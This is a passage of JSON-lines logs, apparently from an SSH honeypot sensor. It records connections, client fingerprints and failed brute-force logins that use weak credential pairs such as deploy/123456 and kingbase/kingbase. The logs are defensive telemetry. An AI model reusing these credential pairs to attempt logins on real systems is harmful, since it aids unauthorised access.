hacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:18.163445Z","src_ip":"176.65.139.95","session":"bac88814c860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:18.612662Z","src_ip":"176.65.139.95","session":"bac88814c860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:18.683388Z","src_ip":"80.94.92.186","session":"e09062541ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:19.697740Z","src_ip":"176.65.139.95","session":"bac88814c860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:19.980275Z","src_ip":"80.94.92.186","session":"e09062541ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57958,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dfe2482cc0e","protocol":"ssh","message":"New connection: 176.65.139.95:57958 (159.203.135.109:22) [session: 7dfe2482cc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:24.197434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:24.201914Z","src_ip":"176.65.139.95","session":"7dfe2482cc0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:24.286801Z","src_ip":"176.65.139.95","session":"7dfe2482cc0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:24.550493Z","src_ip":"176.65.139.95","session":"7dfe2482cc0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:25.635598Z","src_ip":"176.65.139.95","session":"7dfe2482cc0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49746,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccce804e9117","protocol":"ssh","message":"New connection: 159.203.92.129:49746 (159.203.135.109:22) [session: ccce804e9117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:28.674581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:28.679067Z","src_ip":"159.203.92.129","session":"ccce804e9117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:28.684074Z","src_ip":"159.203.92.129","session":"ccce804e9117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Lingqingzhao","password":"123","message":"login attempt [Lingqingzhao/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:28.694812Z","src_ip":"159.203.92.129","session":"ccce804e9117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:29.701987Z","src_ip":"159.203.92.129","session":"ccce804e9117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35540,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d8ee7399e0c","protocol":"ssh","message":"New connection: 176.65.139.95:35540 (159.203.135.109:22) [session: 9d8ee7399e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:30.278933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:30.284255Z","src_ip":"176.65.139.95","session":"9d8ee7399e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:30.367453Z","src_ip":"176.65.139.95","session":"9d8ee7399e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:30.816990Z","src_ip":"176.65.139.95","session":"9d8ee7399e0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:31.901582Z","src_ip":"176.65.139.95","session":"9d8ee7399e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35546,"dst_ip":"159.203.135.109","dst_port":22,"session":"495e95264ac7","protocol":"ssh","message":"New connection: 176.65.139.95:35546 (159.203.135.109:22) [session: 495e95264ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:36.557072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:36.570470Z","src_ip":"176.65.139.95","session":"495e95264ac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:36.640767Z","src_ip":"176.65.139.95","session":"495e95264ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:37.036013Z","src_ip":"176.65.139.95","session":"495e95264ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:38.152108Z","src_ip":"176.65.139.95","session":"495e95264ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.199.27","src_port":53968,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f41b0d600e","protocol":"ssh","message":"New connection: 178.128.199.27:53968 (10.17.0.5:22) [session: 63f41b0d600e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:41.170569Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53380,"dst_ip":"159.203.135.109","dst_port":22,"session":"a16dc25c16e1","protocol":"ssh","message":"New connection: 176.65.139.95:53380 (159.203.135.109:22) [session: a16dc25c16e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:43.301681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:43.310310Z","src_ip":"176.65.139.95","session":"a16dc25c16e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:43.391061Z","src_ip":"176.65.139.95","session":"a16dc25c16e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:43.471742Z","src_ip":"178.128.199.27","session":"63f41b0d600e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:43.724004Z","src_ip":"176.65.139.95","session":"a16dc25c16e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.199.27","src_port":53978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d096db16b3ba","protocol":"ssh","message":"New connection: 178.128.199.27:53978 (10.17.0.5:22) [session: d096db16b3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:44.703932Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:44.807533Z","src_ip":"176.65.139.95","session":"a16dc25c16e1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:45.133837Z","src_ip":"178.128.199.27","session":"d096db16b3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:45.860973Z","src_ip":"178.128.199.27","session":"d096db16b3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ec0d0d1312","protocol":"ssh","message":"New connection: 176.65.139.95:40908 (159.203.135.109:22) [session: b6ec0d0d1312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:49.642837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:49.650428Z","src_ip":"176.65.139.95","session":"b6ec0d0d1312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:49.744462Z","src_ip":"176.65.139.95","session":"b6ec0d0d1312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:50.110753Z","src_ip":"176.65.139.95","session":"b6ec0d0d1312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:51.207588Z","src_ip":"176.65.139.95","session":"b6ec0d0d1312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:55.141359Z","src_ip":"178.128.199.27","session":"d096db16b3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40918,"dst_ip":"159.203.135.109","dst_port":22,"session":"51cad5336767","protocol":"ssh","message":"New connection: 176.65.139.95:40918 (159.203.135.109:22) [session: 51cad5336767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:56.005835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:59:56.015017Z","src_ip":"176.65.139.95","session":"51cad5336767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-